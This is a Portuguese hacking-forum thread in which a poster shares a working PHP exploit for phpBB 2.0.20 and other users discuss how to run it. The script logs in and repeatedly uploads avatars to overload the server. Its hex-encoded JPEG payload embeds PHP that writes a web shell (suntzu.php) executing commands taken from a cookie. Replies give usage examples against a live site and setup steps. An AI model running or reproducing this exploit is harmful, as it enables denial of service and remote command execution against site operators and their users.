FORUM DARKERS

Heys! Aqui fica um xpl para o phpbb 2.0.20, este xpl provoca um ataque D.o.S. contra o servidor eh de referir que a falha reside na forma como sao feitos os uploads de avatares para o servidor.

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB <= v2.0.20 D.o.S (multiple avatars uploading)\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass redo OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to PhpBB\r\n";
echo "redo:      how many avatars do you want to upload?\r\n";
echo "user/pass: you need a valid user account \r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpbb/ your_username password 9999999\r\n";
echo "php ".$argv[0]." localhost / your_username password 99999999 -P1.1.1.1:80\r\n\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}


$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$pass=$argv[4];
$howmany=$argv[5];
$port=80;$proxy="";
for ($i=6; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{die("Wrong syntax...");}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step 1 -> Login ...\r\n";
$data="username=".trim(urlencode($username));
$data.="&password=".trim(urlencode($pass));
$data.="&redirect=".urlencode("admin/index.php?admin=1");
$data.="&admin=1";
$data.="&login=Log+in";
$packet="POST ".$path."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[3]);
$cookie=$temp2[0];
$temp2=explode(" ",$temp[4]);
$cookie.=" ".$temp2[0];
echo "Cookie ->".$cookie."\r\n";
$temp=explode("admin=1&sid=",$html);
$temp2=explode("\n",$temp[1]);
$sid=trim($temp2[0]);
echo "sid ->".urlencode($sid)."\r\n\r\n";
if (($cookie=='') | ($sid=='')) {die("Unable to login...");}

//do something useful, upload a shell, this can be used with third party vulnerable code
$avatar=
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).chr(0x70).
chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).chr(0x22).
chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).
chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).
chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).
chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).
chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5f).
chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).chr(0x29).
chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).chr(0x74).
chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).chr(0x71).
chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).chr(0x70).
chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).chr(0x24).
chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).
chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).chr(0x72).
chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).
chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).
chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).
chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).
chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).chr(0x61).
chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).
chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).
chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x65).
chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).chr(0x38).
chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).chr(0x28).
chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).
chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).chr(0x75).
chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).
chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x08).
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).
chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).chr(0x00).
chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).
chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).
chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).chr(0x00);

/*
this image has this code inside as EXIF metadata content
<?php
$fp=fopen("suntzu&#46;php","w");
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd&#93;=stripslashes(\$_COOKIE[cmd&#93;);}echo 56789;passthru(\$_COOKIE[cmd&#93;);echo 56789;?>");
fclose($fp);
chmod("suntzu.php",777);
?>
*/

for ($i=1; $i<=$howmany; $i++)
{
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="username"

'.trim(urlencode($username)).'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email"

fake@fake_hotmail.com
-----------------------------7d62702f250530
Content-Disposition: form-data; name="cur_password"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="new_password"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="password_confirm"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="icq"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="aim"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="msn"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="yim"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="website"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="location"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="occupation"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="interests"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="signature"

suntzu
-----------------------------7d62702f250530
Content-Disposition: form-data; name="viewemail"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="hideonline"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="notifyreply"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="notifypm"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="popup_pm"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="attachsig"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowbbcode"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowhtml"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowsmilies"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="language"

italian
-----------------------------7d62702f250530
Content-Disposition: form-data; name="style"

1047
-----------------------------7d62702f250530
Content-Disposition: form-data; name="timezone"

2
-----------------------------7d62702f250530
Content-Disposition: form-data; name="dateformat"

D M d, Y g:i a
-----------------------------7d62702f250530
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar"; filename="whatever.jpeg";
Content-Type: image/pjpeg

'.$avatar.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatarurl"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatarremoteurl"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="mode"

editprofile
-----------------------------7d62702f250530
Content-Disposition: form-data; name="agreed"

true
-----------------------------7d62702f250530
Content-Disposition: form-data; name="coppa"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="user_id"

666
-----------------------------7d62702f250530
Content-Disposition: form-data; name="current_email"

fake@fake_hotmail.com
-----------------------------7d62702f250530
Content-Disposition: form-data; name="submit"

Invia
-----------------------------7d62702f250530--
';

$packet="POST ".$path."profile.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php?mode=editprofile\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "uploaded avatars: ".$i." -> ".($i*strlen($avatar))." byte(s)\r\n";
}
?>
Espero que gostem!

Abraços,

gostei vo testar

E viva o perl...

 bom post

QuoteE viva o perl..

Shady, o xpl é escrito em PHP!
Veja aqui a primeira linha de codigo!

Quote#!/usr/bin/php -q -d short_open_tag=on

Ou seja, viva o perl e o PHP, hehehe

Abraços,

Quote from: "crypthief"

QuoteE viva o perl..

Shady, o xpl é escrito em PHP!
Veja aqui a primeira linha de codigo!

Quote#!/usr/bin/php -q -d short_open_tag=on

Ou seja, viva o perl e o PHP, hehehe

Abraços,

amigo o sript usar argc

soh q eu nao sei usar argc no PHP como funciona?

soh sei emperl que seria

perl script.pl argc1 argc2 argc3

abraços

meh... isso que da bater o olho:

"#!/usr/"

E depois fui rodando rapido pra baixo, e como a sintaxe e muito parecida, quando fui rolando nao deu pra ver

 Bah: viva o perl mesmo assim!

Slul, usa-se dessa maneira:

php script.php argc1 argc2 argc3



HadeS

kurumin@kurumin:~/exploits/falhas$ php
bash: php: command not found

Heys! Se vc fizer php nomedoscript.php vai te surgir um pequeno banner onde esta escrito os argumentos a usar para que o script funcione... tipo  php phpbbdos.php www.site.com  (http://www.site.com ) /phpbb2/  user pass 9999999 este ultimo numero corresponde ao numero suposto de avatares a serem uploadados...

Sim, e você pode adicionar algumas opções, como uma porta diferenta da 80 (-p [porta]), ou um proxy (-P [ip:porta]).

HadeS

Pessoal vou só adicionar aqui.

Pra quem usa debians-like.

Pelo menos meu kurumin nao vem com php shell incluso e qdo eu instalo o PHP do apache ele tbm nao vem com o shell commander

entaoo façam o seguinte


su
senha de root
apt-get install php4-cli

pronto!

depois use
php nomedoarquivo.php argc1 argc2 argc3


Abraços!